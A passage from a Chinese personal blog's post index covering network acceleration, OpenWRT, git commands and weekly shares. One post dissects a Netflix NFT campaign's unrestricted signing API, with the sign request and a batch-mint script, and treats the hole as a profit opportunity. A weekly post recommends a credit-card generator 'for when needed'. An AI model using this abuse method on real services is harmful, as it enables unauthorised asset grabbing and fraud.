$proxy_add_x_forwarded_for; } # 健康检查端点 location /health { proxy_pass http://api_backend/health; access_log off; } # 默认路由 location / { proxy_pass http://api_backend; proxy_http_version 1.1; proxy_set_header Connection \u0026#34;\u0026#34;; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } } # HTTP自动跳转HTTPS server { listen 80; server_name api.example.com; return 301 https://$server_name$request_uri; } 配置要点：\nkeepalive 64：保持与后端的长连接，减少连接开销 proxy_buffering off：禁用缓冲降低延迟，适合API场景 proxy_http_version 1.1 + Connection \u0026quot;\u0026quot;：启用HTTP/1.1长连接 URL重写：根据业务需求灵活调整路由规则 重载Nginx配置：\nsudo nginx -t sudo systemctl reload nginx 第五步：源站API服务配置 确保源站API服务监听在127.0.0.1:8080：\n# 假设使用Node.js Express应用 cat \u0026gt; app.js \u0026lt;\u0026lt;EOF const express = require(\u0026#39;express\u0026#39;); const app = express(); app.get(\u0026#39;/health\u0026#39;, (req, res) =\u0026gt; { res.json({ status: \u0026#39;ok\u0026#39; }); }); app.get(\u0026#39;/v1/data\u0026#39;, (req, res) =\u0026gt; { res.json({ message: \u0026#39;Hello from API v1\u0026#39; }); }); app.listen(8080, \u0026#39;127.0.0.1\u0026#39;, () =\u0026gt; { console.log(\u0026#39;API server listening on 127.0.0.1:8080\u0026#39;); }); EOF 这里需要注意的是，API只监听本地回环地址，所有外部访问必须经过KCP隧道，提高安全性。\n优化与调优 KCP参数调优 在实际使用中，我根据网络状况调整了以下参数：\n低延迟优先（延迟\u0026lt;100ms的网络） { \u0026#34;mode\u0026#34;: \u0026#34;fast2\u0026#34;, \u0026#34;nodelay\u0026#34;: 1, \u0026#34;interval\u0026#34;: 20, \u0026#34;resend\u0026#34;: 2, \u0026#34;nc\u0026#34;: 1 } 高丢包容忍（丢包率\u0026gt;5%的网络） { \u0026#34;mode\u0026#34;: \u0026#34;fast3\u0026#34;, \u0026#34;datashard\u0026#34;: 20, \u0026#34;parityshard\u0026#34;: 10, \u0026#34;nodelay\u0026#34;: 1, \u0026#34;interval\u0026#34;: 10, \u0026#34;resend\u0026#34;: 2 } 带宽受限场景 { \u0026#34;mode\u0026#34;: \u0026#34;normal\u0026#34;, \u0026#34;nocomp\u0026#34;: false, \u0026#34;datashard\u0026#34;: 5, \u0026#34;parityshard\u0026#34;: 2 } Nginx优化 针对高并发API场景的Nginx调优：\n# nginx.conf全局配置 worker_processes auto; worker_rlimit_nofile 65535; events { worker_connections 10240; use epoll; multi_accept on; } http { # 连接优化 keepalive_timeout 65; keepalive_requests 1000; # TCP优化 tcp_nodelay on; tcp_nopush on; # 缓冲区优化 client_body_buffer_size 128k; client_header_buffer_size 4k; large_client_header_buffers 4 8k; # 包含站点配置 include /etc/nginx/sites-enabled/*; } 监控与告警 部署监控脚本检查KCP隧道状态：\n#!/bin/bash # /usr/local/bin/check_kcp.sh # 检查kcptun进程 if ! pgrep -f kcptun-client \u0026gt; /dev/null; then echo \u0026#34;KCP tunnel is down, restarting...\u0026#34; systemctl restart kcptun-client # 发送告警（可集成企业微信、钉钉等） curl -X POST \u0026#34;https://your-webhook-url\u0026#34; \\ -d \u0026#39;{\u0026#34;text\u0026#34;:\u0026#34;KCP tunnel restarted\u0026#34;}\u0026#39; fi # 检查端口监听 if ! ss -tunlp | grep -q \u0026#39;:8888\u0026#39;; then echo \u0026#34;KCP local port not listening\u0026#34; systemctl restart kcptun-client fi 添加定时任务：\n# 每分钟检查一次 echo \u0026#34;* * * * * /usr/local/bin/check_kcp.sh\u0026#34; | crontab - 性能对比 在实际测试中，这套方案的效果明显：\n指标 优化前 优化后 提升 平均延迟 350ms 95ms 73% P99延迟 800ms 180ms 77% 丢包率 5.2% 0.8% 85% API成功率 94.3% 99.5% 5.2% 吞吐量 200 req/s 450 req/s 125% 测试环境：香港 → 上海，100个并发连接，持续10分钟压测。\n成本分析 香港VPS：$10/月（1核2G，足够跑Nginx + kcptun client） 带宽成本：KCP额外消耗15%左右带宽，基本可忽略 维护成本：自动化部署后几乎无需维护 相比使用商业加速服务（如AWS Global Accelerator，每月$100+），这个方案性价比极高。\n踩坑记录 问题1：MTU设置不当导致丢包 现象：配置完成后发现大数据包（\u0026gt;1KB）的请求丢包严重。\n原因：默认MTU 1400在某些网络环境下会被分片，导致丢包。\n解决：将MTU调整为1350，并在Nginx中设置client_max_body_size限制：\n{ \u0026#34;mtu\u0026#34;: 1350 } 问题2：KCP客户端频繁断连 现象：每隔几小时KCP隧道就会断开重连。\n原因：运营商对长时间无数据传输的UDP连接进行清理。\n解决：启用keepalive机制：\n{ \u0026#34;keepalive\u0026#34;: 10 } 每10秒发送一次心跳包保持连接活跃。\n问题3：高峰期延迟抖动 现象：业务高峰期延迟波动大，从100ms跳到300ms。\n原因：接收窗口（rcvwnd）设置过小，无法充分利用带宽。\n解决：增大接收窗口和socket缓冲区：\n{ \u0026#34;rcvwnd\u0026#34;: 2048, \u0026#34;sockbuf\u0026#34;: 8388608 } 后 通过这套基于Nginx + KCP的跨境加速方案，我成功解决了API服务的延迟和丢包问题。整个方案的核心思想是：\n在接入层完成重开销操作（TLS握手），在传输层使用针对性优化的协议（KCP），通过协议栈优化实现端到端加速。\n这套方案不仅适用于API加速，也可以扩展到其他跨境服务场景，如数据库复制、文件传输等。关键是理解网络瓶颈在哪里，然后针对性地优化。\n在实际生产环境中运行了一年多，稳定性和性能表现都很出色。如果你也面临跨境网络质量问题，不妨试试这个方案。\n扩展阅读 KCP协议原理：https://github.com/skywind3000/kcp/blob/master/protocol.txt kcptun项目文档：https://github.com/xtaci/kcptun Nginx反向代理优化：https://nginx.org/en/docs/http/ngx_http_proxy_module.html 就这样！希望这篇文章能够帮助到有类似需求的朋友。\n","date":"2022-07-23T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/07/api%E8%B7%A8%E5%A2%83%E5%8A%A0%E9%80%9F%E6%96%B9%E6%A1%88/","tags":["网络优化","KCP"],"title":"API跨境加速方案"},{"categories":["category1"],"contents":"https://github.com/zadam/trilium\n","date":"2022-07-23T00:00:00Z","permalink":"https://blogs.12ms.xyz/draft/weekly-%E6%9E%84%E5%BB%BA%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93/","tags":["tag1"],"title":"title"},{"categories":["category1"],"contents":"\n","date":"2022-07-23T00:00:00Z","permalink":"https://blogs.12ms.xyz/draft/%E8%B4%A2%E5%8A%A1%E7%AE%A1%E7%90%86-%E4%B8%AA%E4%BA%BA/","tags":["tag1"],"title":"title"},{"categories":["op之路"],"contents":"Tailscale on OpenWRT Extract the contents of root to your filesystem root: tar x -zvC / -f openwrt-tailscale-enabler-\u0026lt;tag\u0026gt;.tgz Install the prerequisites for wget and tailscale: opkg update opkg install libustream-openssl ca-bundle kmod-tun Run tailscale for the first time: /etc/init.d/tailscale start tailscale up --accept-dns=false --advertise-routes=10.0.0.0/24 tailscale up --accept-dns=false --advertise-routes=192.168.0.0/24,192.168.3.0/24 --accept-routes Both of these commands download the tailscale package to get the binaries to /tmp. The /etc/init.d/tailscale will start the tailscale daemon. The next command uses the tailscale CLI to configure the login and add some settings to prevent dns changes and advertise routes. Use the URL printed to login to tailscale.\nEnable tailscale at boot: /etc/init.d/tailscale enable Verify by looking for an entry here:\nls /etc/rc.d/S*tailscale* Reboot the router and verify that it shows up online on the Tailscale Admin portal. To update the version of tailscale, grab the latest version here of the form 1.2.10_mips and replace the same in /usr/bin/tailscale and /usr/bin/tailscaled: version=\u0026quot;1.2.10_mips\u0026quot;. Note: You need to have atleast 11+16 = ~27 MB of free space in /tmp (which is usually in RAM) to be able to use this.\nhttps://github.com/adyanth/openwrt-tailscale-enabler\n","date":"2022-07-06T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/07/%E4%BB%8Ezerotier%E8%BD%AC%E5%88%B0tailscale/","tags":["反向代理"],"title":"Tailscale on OpenWRT"},{"categories":["op"],"contents":"前 所以这里只能继续来看看，这里使用 rancher + k3s 环境来跑起来，最后还是绕不开K8s\n这里记一个Rancher 时候遇到的问题，全网搜索没什么结果之后自己摸索出来的。\n主要的原因是因为新版本的系统使用了 cgroupv2 与Rancher 不兼容导致，降级为V1 解决\n正文 在进行 rancher 安装的时候遇到了比较大的问题，直接使用 docker run 来启动 rancher 实例不成功。实例一直进行重启，根据log 的内容定位到是 cgroup 的问题，新版本的系统都默认使用了 cgroup v2 ，和 rancher 的现在的版本在配置上不兼容，所以需要给 cgroup 来进行降级\nissue 链接\nChanging cgroup version🔗\nreverting cgroups v1\n具体的配置如下\n# 修改内核启动参数 sudo sed -i \u0026#39;/^GRUB_CMDLINE_LINUX/ s/\u0026#34;$/ systemd.unified_cgroup_hierarchy=0\u0026#34;/\u0026#39; /etc/default/grub sudo update-grub2 ","date":"2022-05-29T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/06/rancher%E9%83%A8%E7%BD%B2%E9%87%8D%E5%90%AF%E9%97%AE%E9%A2%98/","tags":["op","kubernetes"],"title":"Rancher部署重启问题"},{"categories":["Dev","git"],"contents":"记录一些最常用的命令（从上往下使用频率依次降低）\n详细的 git 相关知识强烈推荐 Pro Git\n基本命令 关键词 命令格式 命令解释 命令示例 init git init 为当前目录初始化 git 本地仓库 add git add [要追踪的文件/路径] 添加到 git 跟踪 git add -A commit git commit [路径] [选项] [提交说明] 提交当前的修改内容 git commit -a -m \u0026quot;提交全部的修改\u0026quot; remote git remote [选项] [远程仓库名] 操作 git 远程仓库 git remote git remote add origin https://github.com/rxliuli/rxliuli.github.io.git git remote show origin git remote remove origin push git push [远程别名] [远程分支] 推送本地修改到远程 git push origin master pull git pull [远程别名] [远程分支] 拉取远程修改到本地 git pull origin master status git status 查看本地仓库的状态，以此得知添加和修改的文件 clone git clone [远程仓库地址] 克隆一个远程仓库到本地，这里和 pull 不同点在于本地不存在要克隆的仓库 git clone https://github.com/rxliuli/rxliuli.github.io.git log git log [选项] 查看 git 日志 git log revert git revert [提交记录 hash] 撤销掉指定提交 git revert ab1c2d2 reset git reset [提交记录 hash] 重置到某次提交上，和上面不一样的是不会添加新的提交记录，而是删除已有的提交记录 git reset ab1c2d2 git reset HEAD~[N 回退次数] 回退最近几次的提交, N 为几就回退几次 git reset HEAD~1 branch git branch [分支] git 分支(强大而又复杂的功能) git branch dev git branch git branch dev -D checkout git checkout [分支名] 切换当前分支(分支之间不共享修改) git checkout master git checkout origin/dev -b dev merge git merge [选项] 合并其他分支的修改到当前分支上 git merge dev git merge origin/master --allow-unrelated-histories push git push [远程仓库名] :[分支名] 删除掉指定的远程分支（仓库还在，只是删除分支） git push origin :dev stash git stash 暂存本地更改 git stash list 查看所有暂存更改 git stash apply [index] 重新应用指定暂存更改 git stash apply git stash drop [index] 删除掉指定的暂存更改 git stash drop 复合命令 撤销掉本地所有的修改 命令\ngit add -A \u0026amp;\u0026amp; git stash \u0026amp;\u0026amp; git stash drop SH 解释\n添加所有更改到 git 追踪中（如果没有被忽略的话） 添加所有本地更改到暂存区域中 删除掉刚添加的最新暂存更改 应用场景修改了一些文件但又没有提交，突然发现有问题，想把它们全删除了重来，或者全部回到上次提交，先把这些修改暂存起来（不加最后一条命令）\n区分文件名大小写 命令\ngit config core.ignorecase false SH 解释 Windows 下默认不区分文件名大小写，所以需要特别设置一下。\ngit push 强制推送 命令\ngit push -f SH 解释\n强制推送到远程分支，即便是远程包含本地不存在的提交\n忽略已经跟踪的文件的提交 参考：怎样让 Git 忽略当前已经更改的文件\n忽略修改\ngit update-index --assume-unchanged \u0026lt;files\u0026gt; SH 取消这种设定\ngit update-index --no-assume-unchanged \u0026lt;files\u0026gt; SH 从远端拉取分支 参考：git 获取远程服务器的指定分支\n命令\ngit checkout -b [本地分支名(不存在)] [远程分支名] SH 示例\ngit checkout -b dev origin/dev SH 忽略已提交的文件修改 参考：git 如何忽略已经提交的文件 (.gitignore 文件无效)\n主要用于忽略一些本地修改的文件但又不希望提交，同时也不希望添加到 .gitignore 中将之从云端排除的方式。\ngit update-index --assume-unchanged [file-pattern] SH git 删除远程 tag 显示本地 tag\ngit tag SH 删除本地 tag\ngit tag -d Remote_Systems_Operation SH 用 push, 删除远程 tag\ngit push origin :refs/tags/Remote_Systems_Operation SH 删除远程分支\ngit branch -r -d origin/branch-name git push origin :branch-name SH 两个 git 仓库合并 现在有两个仓库 kktjs/kkt 和 kktjs/kkt-next 我们需要将 kkt-next 仓库合并到 kkt 并保留 kkt-next 的所有提交内容。\n# 1. 克隆主仓库代码 git clone git@github.com:kktjs/kkt.git # 2. 将 kkt-next 作为远程仓库，添加到 kkt 中，设置别名为 other git remote add other git@github.com:kktjs/kkt-next.git # 3. 从 kkt-next 仓库中拉取数据到本仓库 git fetch other # 4. 将 kkt-next 仓库拉取的 master 分支作为新分支 checkout 到本地，新分支名设定为 dev git checkout -b dev other/master # 5. 切换回 kkt 的 master 分支 git checkout master # 6. 将 dev 合并入 kkt 的 master 分支 git merge dev # 如果第 6 步报错 `fatal: refusing to merge unrelated histories` # 请执行下面命令 ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓ git merge dev --allow-unrelated-histories SH JetBrains IDE 提供了非常好用的冲突合并工具\n在合并时有可能两个分支对同一个文件都做了修改，这时需要解决冲突，对文本文件来说很简单，根据需要对冲突的位置进行处理就可以。对于二进制文件，需要用到如下命令:\ngit checkout --theirs YOUR_BINARY_FILES # 保留需要合并进来的分支的修改 git checkout --ours YOUR_BINARY_FILES # 保留自己的修改 git add YOUR_BINARY_FILES SH 参考: https://segmentfault.com/a/1190000021919753\n在 git 目录中忽略 git 子模块的所有变更 参考 git submodule\n# .gitmodules [submodule \u0026#34;examples/blog-hexo-example/themes/next\u0026#34;] path = examples/blog-hexo-example/themes/next url = https://github.com/theme-next/hexo-theme-next ignore = all SHELL git 提交时忽略 hooks 添加 --no-verify 参数即可\ngit commit --no-verify SH Git 错误 Reset 恢复 找到使用 git reset 之前的最后一次提交的 commit id\n# 查看 git 记录的所有操作，包括回退操作也会记录 git reflog SH 使用 git reset --hard 回退\n# 回退到指定提交，但不会将之后提交混入到未提交的内容 git reset --hard dd256c7d66ad2e9671cbd47650ffddc4267ca7d5 SH 使用 git log 检查最后一次提交是否恢复\n# 这时可以看到最后一次提交已经恢复了 git log SH 参考: 执行了 git reset，还有办法取消吗？\nGit 高级合并 前端想要调整项目组织将之前的项目放到 monorepo 中，所以需要使用 git 将之前的项目合并到新项目的指定目录中，同时保留所有记录。\n主要依赖功能 高级合并 =\u0026gt; 子树合并，同时参考错误解决方案 The “fatal: refusing to merge unrelated histories” Git error\ngit remote add rack_remote https://github.com/rack/rack git fetch rack_remote --no-tags git checkout -b rack_branch rack_remote/master git checkout master git read-tree --prefix=rack/ -u rack_branch git merge --squash -s recursive -Xsubtree=rack rack_branch --allow-unrelated-histories SH 系统更新后 git 错误 需要修改 ~/.ssh/config 配置文件\nHost * ServerAliveInterval 10 HostKeyAlgorithms +ssh-rsa PubkeyAcceptedKeyTypes +ssh-rsa SH 关联本地与远端分支 当你 git push 时可能会提示需要关联，基本上复制提示的命令即可。下面是关联本地与远端的 master 分支的方法\ngit push --set-upstream origin master SH 之后便可以直接 git push 推送代码了\ngit log 设置日期格式 默认 git log 使用的日期格式对于国内并不方面查看，但 git 支持设置格式化格式。\ngit config --global log.date format:\u0026#34;%Y-%m-%d %H:%M:%S\u0026#34; SH 参考：Git log 修改时间格式\n查看指定目录的 commit 历史 jetbrains ide 自带，但 vscode 没有，所以需要用命令行。。。\ngit log --oneline . SH Windows 下配置避免中文乱码 在公司的电脑上碰到了 Git 中文乱码的问题，例如想要查看一下仓库的状态，中文全部变成了 umber 的形式。\ngit status On branch master Your branch is up to date with \u0026#39;origin/master\u0026#39;. Changes not staged for commit: (use \u0026#34;git add \u0026lt;file\u0026gt;...\u0026#34; to update what will be committed) (use \u0026#34;git checkout -- \u0026lt;file\u0026gt;...\u0026#34; to discard changes in working directory) modified: \u0026#34;source/_posts/JavaScript/\\345\\234\\250\\344\\274\\240\\347\\273\\237\\351\\241\\271\\347\\233\\256\\344\\270\\255\\344\\275\\277\\347\\224\\250-babel-\\347\\274\\226\\350\\257\\221-ES6.md\u0026#34; modified: \u0026#34;source/_posts/Tool/IDEA/IDEA \\344\\275\\277\\347\\224\\250\\346\\212\\200\\345\\267\\247.md\u0026#34; modified: test/test.html modified: test/test.js no changes added to commit (use \u0026#34;git add\u0026#34; and/or \u0026#34;git commit -a\u0026#34;) SH 解决方案\n该方案摘抄自 解决 Git 在 windows 下中文乱码的问题\n配置一下这些内容即可\ngit config --global core.quotepath false # 显示 status 编码 git config --global gui.encoding utf-8 # 图形界面编码 git config --global i18n.commit.encoding utf-8 # 提交信息编码 git config --global i18n.logoutputencoding utf-8 # 输出 log 编码 export LESSCHARSET=utf-8 # 最后一条命令是因为 git log 默认使用 less 分页，所以需要 bash 对 less 命令进行 utf-8 编码 SH git log 选项 --format: 设置格式，例如 %s 可以仅显示提交的消息 --author: 根据提交者过滤 --no-merges: 过滤掉合并的历史 --reverse: 反转排序，按照时间正序 --max-count: 显示的 commit 最大数量 --after: 显示指定日期之后的 commit git log --format=\u0026#34;%s %cd\u0026#34; --author=rxliuli --no-merges --after=2022-01-01 --reverse --max-count=10 SH 获取文件在指定时间后的内容 获取文件在指定日期后面的第一次提交\ngit log --after=2022-07-01 --max-count=1 -- ./package.json SH 获取文件在特定提交时的内容\ngit show 0e120d21e7376268ebd0b574bee2b923f2b9fd34:./package.json SH 使用 js（simple-git）获取的代码如下\nconst git = simpleGit() async function getFileAfter( filePath: string, date: Date, ): Promise\u0026lt;string | null\u0026gt; { const after = await git.log({ file: filePath, maxCount: 1, \u0026#39;--after\u0026#39;: date.toISOString(), }) if (!after.latest) { return null } await git.cwd(path.dirname(filePath)) const stat = await git.show(`${after.latest.hash}:${path.basename(filePath)}`) return stat } TS 删除所有被 gitignore 忽略的文件 有时候会需要清理当前项目到刚刚 clone 的状态以便清理掉各种缓存问题。\ngit clean -xdn git clean -xdf SH 不过清理项目的缓存更好的方式是结合上 find 命令\ngit add -A \u0026amp;\u0026amp; git stash find . -name \u0026#39;node_modules\u0026#39; -type d -prune -print -exec rm -rf \u0026#39;{}\u0026#39; \\; git clean -xdf SH ref: https://stackoverflow.com/a/36573710\n换行符警告 在 Windows 上使用 git 会出现警告 LF will be replaced by CRLF the next time Git touches it，适用以下全局配置即可\ngit config --global core.autocrlf false SH ref: https://stackoverflow.com/a/17628353\n合并特定分支的指定提交 使用 git cherry-pick 即可\ngit cherry-pick 743a35e2f1b9400658e04f7a2724eecf063901b6 SH ref: https://lonelyrookie.github.io/2019/06/30/Git%E5%90%88%E5%B9%B6%E7%89%B9%E5%AE%9Acommits%E5%88%B0%E5%8F%A6%E4%B8%80%E4%B8%AA%E5%88%86%E6%94%AF/\n创建空的分支 git switch --orphan \u0026lt;new branch\u0026gt; git commit --allow-empty -m \u0026#34;Initial commit on orphan branch\u0026#34; git push -u origin \u0026lt;new branch\u0026gt; SH ref: https://stackoverflow.com/questions/34100048/\n","date":"2022-05-25T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/12/git%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4%E5%88%97%E8%A1%A8/","tags":["Dev"],"title":"Git常用命令列表"},{"categories":["每周分享"],"contents":"投资 前面提到的short put/call 的策略之后，为了最大化的盈利。这里可以看波动率曲面来找到最佳的short 的 strike 和到期日\nhttps://data.greeks.live/?currency=BTC 技术有意思 Udp2raw 介绍一个小工具，使用TCP来对 UDP的流量来进行包装。实际上就是转为可靠的TCP\n这个工具用来实现一些特殊场景。比如在AWS 的环境下 跨账号使用 privatelink 的时候就不支持UDP 的通信。使这种方式可以实现。\n好工具推荐 feeder 又觉得好网站高质量的内容自己没没法及时的吸收，所以又回到了RSS上来，找了好几个APP都不怎么如意。后面一想，浏览应该放在浏览器上。所以就找到了这个Chrom 插件。\n一个基于浏览器的 RSS 聚合阅读器。基于浏览器来做。\n界面简单直接，free plan 支持200个 订阅 已经很够使用了。\n好玩的 How to Watch Star Wars in ASCII on Windows 10 and Mac 一个使用ascii 构建的 星球大战电影\n#How to Watch Star Wars in ASCII on Windows 10 and Mac telnet towel.blinkenlights.nl ........... @@@@@ @@@@@ ........... .......... @ @ @ @ .......... ........ @@@ @ @ .......... ....... @@ @ @ ......... ...... @@@@@@@ @@@@@ th ........ ..... ----------------------- ....... .... C E N T U R Y ....... ... ----------------------- ..... .. @@@@@ @@@@@ @ @ @@@@@ ... == @ @ @ @ @ == __||__ @ @@@@ @ @ __||__ | | @ @ @ @ @ | | _________|______|_____ @ @@@@@ @ @ @ _____|______|_________ 信用卡生成器 https://cardgenerator.org/ 不时之需\n延展阅读 铁幕演说 铁幕演说是1946年3月5日，英国前首相温斯顿·丘吉尔在美国富尔顿城威斯敏斯特学院发表的反苏联、反共产主义的演说，运用“铁幕”一词之意攻击苏联和东欧社会主义国家“用铁幕笼罩起来”，因此此演说被称为“铁幕演说”。铁幕演说也被认为是正式拉开了美苏冷战的序幕。\n铁幕是歌剧院里用于防火隔开观众与舞台的铁质屏障。演说运用“铁幕”一词之意攻击苏联和东欧社会主义国家“用铁幕笼罩起来”\n杜鲁门主义 杜鲁门主义是第二次世界大战结束后美国谋求世界霸权的指导方针与扩张计划。1947年3月12日，时任美国总统杜鲁门在致国会的关于援助希腊和土耳其的咨文中，提出以“遏制**主义”作为国家政治意识形态和对外政策的指导思想。后这一指导思想被称之为杜鲁门主义。\n","date":"2022-05-23T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/05/%E6%AF%8F%E5%91%A8%E5%88%86%E4%BA%AB10/","tags":["Misc"],"title":"每周分享[10]"},{"categories":["blockchain"],"contents":"前 Netflix 出了最新的一集的 《爱，死亡，机器人》，这一季是送NFT 的一季。\nNine Love, Death + Robots QR-Coded Artworks (艺术品) have been strewn across the digital and physical world. Each piece of special, limited edition imagery (意象) reflects Love, Death + Robots’ unique collective of visual perspectives and creative storytelling (弹词) from Volume 3. To collect them all, you’ll have to be vigilant (警惕) . Look out for Love, Death + Robots QR codes to scan in order to unlock (解锁) the art. Mint (薄荷) the art as an NFT, or right-click and save it the old-fashioned way. The choice is yours, human.\n虽然活动是好的，但是出了问题，对于mint的签名没有任何的限制，任何人都可以通过接口来进行批量的签名和mint。下面已经有大佬写好了批量mint 的工具\n批量Mint工具 By BOX 呢吗这篇文章的主要目的，就是模拟一下 发现这个 漏洞的思路，以及对这个工具的原理的剖析，毕竟是多学习模仿才能进步。\n正文 漏洞发崛部分 官方在剧集里面讲，会出现NFT 的Qrcode，扫描之后进入Mint页面\nhttps://lovedeathandart.com/kj2sp8\n构建签名 这里直接点击mint me，可以在浏览器的开发者模式看到 sign 的接口调用，右键复制 curl\ncurl \u0026#39;https://us-central1-ldr-prod.cloudfunctions.net/api/sign\u0026#39; \\ -H \u0026#39;authority: us-central1-ldr-prod.cloudfunctions.net\u0026#39; \\ -H \u0026#39;accept: application/json, text/plain, */*\u0026#39; \\ -H \u0026#39;accept-language: zh,zh-CN;q=0.9\u0026#39; \\ -H \u0026#39;cache-control: no-cache\u0026#39; \\ -H \u0026#39;content-type: application/json\u0026#39; \\ -H \u0026#39;dnt: 1\u0026#39; \\ -H \u0026#39;origin: https://lovedeathandart.com\u0026#39; \\ -H \u0026#39;pragma: no-cache\u0026#39; \\ -H \u0026#39;referer: https://lovedeathandart.com/\u0026#39; \\ -H \u0026#39;sec-fetch-dest: empty\u0026#39; \\ -H \u0026#39;sec-fetch-mode: cors\u0026#39; \\ -H \u0026#39;sec-fetch-site: cross-site\u0026#39; \\ -H \u0026#39;user-agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1\u0026#39; \\ --data-raw \u0026#39;{\u0026#34;address\u0026#34;:\u0026#34;0x000\u0026#34;,\u0026#34;category\u0026#34;:\u0026#34;9\u0026#34;}\u0026#39; \\ --compressed 得到上面的 Curl 请求， 这里需要注意的是 address 需要替换为自己的地址，Category 需要换成对应的选集。请求之后得到下面的内容：这里的 vrs 就立即让大家联想到 secp256k1 算法。\n{\u0026#34;message\u0026#34;:\u0026#34;0x87b5cc68157bf098...a1428b0723919c5dc87536f4af06c\u0026#34;,\u0026#34;messageHash\u0026#34;:\u0026#34;0x506c883be0c095b1512aa679...c378309ce0e1\u0026#34;,\u0026#34;v\u0026#34;:\u0026#34;0x1c\u0026#34;,\u0026#34;r\u0026#34;:\u0026#34;0x1d957d3f6a0f53e261d7e1001f6...e440e370ca6812227634\u0026#34;,\u0026#34;s\u0026#34;:\u0026#34;0x58dc6d11201f072972564cff3...57156c3fc0ca4d7dea902\u0026#34;,\u0026#34;signature\u0026#34;:\u0026#34;0x1d957d3f6a0f53e261d7e1001f60e94f55df...021c\u0026#34;} 发送交易 通过os搜索，或者各大地方来获取 NFT 对应的地址，打开区块浏览器\nhttps://etherscan.io/token/0xfd43d1da000558473822302e1d44d81da2e4cc0d 到Transaction 里面找到大家调用的交易，看大家调用的最多的是哪个，以及其参数。可以看到参数如下\n_category uint256 1\n_data bytes 0x1b\n_signature bytes 0xb10b4f29f576f3\u0026hellip;\n这里的 category 和 signature，在签名拿到sign 结果已经可以拿到了。还有一个就是这个 _data ， 这个参数在看历史交易里面 发现全都是 0x1b 所以应该是一个常数值。构建好之后就可以点击 write contract。完成mint 国产。\ndApp 分析 对这里的批量mint 工具来作分析，学习一下相关的思路和方法\n批量Mint工具 By BOX 是使用 react 编写，用到下面两个web3相关的lib\nethers web3modal ethers 这个之前有使用过，Web3modal 这个研究了下，是包装了web3钱包的 API，可以统一代码模式。\n代码的主要逻辑也是签名的接口调用，模拟Curl 的请求。\n点击连接之后调用web3Modal.connect() 之后来设置 Instance 。有了Instance 之后，进行了条件渲染。\n到了 claimAllWrapper 函数，设置 running 状态，await 阻塞，等待 claimAll，在下面是 这里的核心代码。\nconst contract = new ethers.Contract( \u0026#34;0xFD43D1dA000558473822302e1d44D81dA2e4cC0d\u0026#34;, // 这里来导入了ABI，也就是我们要用的接口 [\u0026#34;function mint ( uint256 _category, bytes _data, bytes _signature )\u0026#34;], provider.getSigner() ); const address = await provider.getSigner().getAddress(); for (let i = 1; i \u0026lt;= 9; i++) { const signature = await requestSign(address, i); await contract .mint(i, signature[\u0026#34;v\u0026#34;], signature[\u0026#34;signature\u0026#34;]) .catch(() =\u0026gt; {}); console.log(`Success mint #${i}`); } 去构建合约的 ABI，并且使用 requestSign 来获得签名，之后调用 合约方法，来实现mint ，这里的data 可以看到 是 secp256k1 的 v 字段。\nrecovery id 值，但在以太坊中用V表示\n之后对合约进行直接调用，完成mint 的操作。\n后 从上面的分析可以看到，这种漏洞利用实际上的过程是非常简单的。但是这些往往就是机会，发现的早带来的信息差的收益就是机会。 这个 nft 在刚开始是 0.05E ，现在因为在被大量的mint 已经跌到了 0.003E 。\n分析这个过程，让自己在保持敏锐，能抓到潜在的机会。\n","date":"2022-05-21T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/11/netflix-nft-%E6%BC%8F%E6%B4%9Emint%E6%80%9D%E8%B7%AF/","tags":["eth","security","smartcontract"],"title":"Netflix NFT 漏洞Mint思路分析"},{"categories":["每周分享"],"contents":"前面的 这个每周分享系列，看上次更新还是在2019年，虽然博客是断断续续，但是这个项目是很久很久没更新了。\n想了想，自己应该还是有很多东西分享，只是很久没有给自己一个总结的时间。\n正文 投资 继续保持Btccoin 的 Sell Put 策略，主要是半年期的 20000/25000 的strike，接到； 我愿意抄底。没接到的话 也可以有 40% 年化的u本位利润。 其他的先保持不动，熊市少亏钱。\n新玩具 HHKB 蓝牙主控 大大小小换了很多把键盘了，从 poker 到 ikbc，再到 niz 再到 thinkpad，durgod。\n陪我走的最久的一把还是18年买的 hhkb pro2 ，这把键盘风格朴素，却像是有魔力一样。给我的感觉就是实用，便捷。\n这周咬牙花了 400米买了 HHKB 的蓝牙改装套件，从此这个键盘升级成无线的了，桌面整洁++。\n使用的是 KDKB 出的代替蓝牙主控，具体的资料可以看下面\nhttps://ydkb.io/ https://ydkb.io/help 最爽的一点改装是加了Layer2 的鼠标控制，现在一些简单场景完全可以不使鼠标来操作，提升了打工流畅度好评\n好工具推荐 这周推荐两个学英语的利器，都是 Chrome 的浏览器插件。\nRelingo\n一款可以对页面上的生词进行自动翻译的插件，会根据你选的级别来对单词来进行直接翻译，翻译内容不影响原文格式。非常好用\nLanguage Reactor\n看英文视频的革命性产品，自动生成字幕，并且进行翻译到本土的语言\n剧集推荐 爱，死亡，机器人 season3 在第二季全面翻车之后，第三季没有让人失望。虽然深度方面稍稍不够，但是爽度是拉满了。\n1，3，9 作为深度和禅意的代表。\n荒野独居 偶然遇上的一个真人秀，十个人 在极地气候下 只有十件简单装备生存100天，成功可以获得100w美金的奖励。\n挺有意思\n","date":"2022-05-19T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/05/%E6%AF%8F%E5%91%A8%E5%88%86%E4%BA%AB9/","tags":["Misc"],"title":"每周分享[9]"},{"categories":["blockchain","misc"],"contents":"BTC部分\n加密算法 SHA256\n数据结构\n区块内构建成\nmerkle tree\n不需要Sorted，因为btc没有使用到存在证明。\n因为BTC的记帐权是爆块节点确定的，所以这里可以不进行排序。\n但是 ETH 中是有账户状态的，状态比TX 要高几个数量级。状态是不上链的，保存在节点的本地。\n所以为了保持节点本地的状态一致性，eth 本地是需要sorted 的。\nETH 中使用的 是 